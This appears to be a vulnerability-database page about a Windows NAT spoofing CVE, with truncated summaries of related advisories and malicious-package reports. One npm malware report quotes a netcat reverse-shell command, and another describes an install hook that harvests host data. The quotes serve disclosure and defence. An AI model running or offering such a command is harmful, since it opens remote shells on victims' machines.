CVE-2026-56181 Windows Network Address Translation (NAT) Spoofing Vulnerability

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CVE-2026-56181 Windows Network Address Translation (NAT) Spoofing Vulnerability

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EUVD-2026-44294

Use after free in Microsoft NAT Helper Components ipnathlp.dll allows an authorized attacker to elevate privileges locally...

Windows Network Address Translation (NAT) Spoofing Vulnerability

Origin validation error in Windows Network Address Translation NAT allows an unauthorized attacker to perform spoofing over an adjacent network...

CVE-2026-56181: Origin Validation Error

Origin validation error in Windows Network Address Translation NAT allows an unauthorized attacker to perform spoofing over an adjacent network...

PT-2026-58599

Name of the Vulnerable Software and Affected Versions Windows Network Address Translation NAT affected versions not specified Description An origin validation error in Windows Network Address Translation NAT allows an unauthorized attacker to perform spoofing over an adjacent network, enabling th...

pyLoad: SSRF guard bypass via IPv6 6to4/NAT64 transition wrappers of internal IPs

Summaryisglobaladdress in src/pyload/core/utils/web/check.py is the central guard against SSRF-style outbound connections in pyload-ng. It tests whether a given IP is "globally routable" via Python's ipaddress.ipaddressvalue.isglobal, and callers treat not isglobal as "deny":pythondef...

Malicious code in jsonschemavalidation (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eae82aa94c358f1f00f8a12e8b583cee82efdcf09d2f80263e6851ac0fec98f3 The PyPI project jsonschemavalidation builds a wheel whose installed top-level package is literally jsonschema tool.hatch.build.targets.wheel package...

GO-2026-5824 Nezha Monitoring: Authenticated users can claim the dashboard Host through NAT and preempt all dashboard routing in github.com/nezhahq/nezha

Nezha Monitoring: Authenticated users can claim the dashboard Host through NAT and preempt all dashboard routing in github.com/nezhahq/nezha. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. If this is...

flyto-core has SSRF guard bypass via IPv6 transition addresses (IPv4-mapped / 6to4 / NAT64) in validate_url_ssrf

Summary flyto-core's SSRF protection validateurlssrf / isprivateip in src/core/utils.py blocks private and metadata destinations by resolving the host and testing the resulting IP for membership in a hardcoded PRIVATEIPRANGES list. That list contains only the native RFC 1918 / loopback / link-loc...

Deserialization of Untrusted Data

Overview Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to the default ObjectInputFilter. An attacker can trigger DNS-based information disclosure by sending a Java-serialized payload that deserializes into a collection such as HashMap containing...

Malicious code in internallib_v234 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8af2fded6fa5a25932255b36ee1a4e4293d955d9a74d54334ec133105f3ec087 [email protected] exports a command function whose body unconditionally invokes /bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash", opening an...

CVE-2026-53349

In the Linux kernel, the following vulnerability has been resolved: netfilter: nfconntrack: destroy stale expectfn expectations on unregister NAT helpers such as nfnath323 store a raw pointer to module text in exp-expectfn e.g. ipnatq931expect. nfcthelperexpectfnunregister only unlinks the callba...

FreeBSD-SA-26:41.libalias

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ============================================================================= FreeBSD-SA-26:41.libalias Security Advisory The FreeBSD Project Topic: Buffer overflow in libalias RTSP handler Category: core Module: libalias Announced: 2026-06-30...

MAL-2026-6569 Malicious code in longzy-basic-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 90336f7ef2177c75d9cf4a1872fe94504a382dfd1907e7617e0e06642f2dae67 On npm install, the package's postinstall hook executes .prepare.cjs, which collects the installer's hostname, username, platform, Node version,...

GHSA-X6FG-52VR-HJ4W Nezha Monitoring: Authenticated users can claim the dashboard Host through NAT and preempt all dashboard routing

Summary An authenticated non-admin user who owns any server can create or update a NAT profile whose domain is equal to the dashboard's own HTTP Host for example, dashboard.example:8008. The dashboard's top-level HTTP/gRPC multiplexer checks NATShared.GetNATConfigByDomainr.Host before dispatching...

Nezha Monitoring: Authenticated users can claim the dashboard Host through NAT and preempt all dashboard routing

Summary An authenticated non-admin user who owns any server can create or update a NAT profile whose domain is equal to the dashboard's own HTTP Host for example, dashboard.example:8008. The dashboard's top-level HTTP/gRPC multiplexer checks NATShared.GetNATConfigByDomainr.Host before dispatching...

EUVD-2026-36599

Nezha Monitoring: Authenticated users can claim the dashboard Host through NAT and preempt all dashboard routing...

GO-2026-5607 MCP Registry has an unauthenticated SSRF: HTTP namespace verification dials 6to4 / NAT64 / site-local IPv6 addresses, bypassing private-address allowlist in github.com/modelcontextprotocol/registry

MCP Registry has an unauthenticated SSRF: HTTP namespace verification dials 6to4 / NAT64 / site-local IPv6 addresses, bypassing private-address allowlist in github.com/modelcontextprotocol/registry...

CVE-2026-53000

A flaw was found in the Linux kernel's netfilter component, specifically within the Network Address Translation NAT subsystem. This vulnerability involves improper memory management when releasing network filter operation structures. This could potentially allow an attacker to cause a system cras...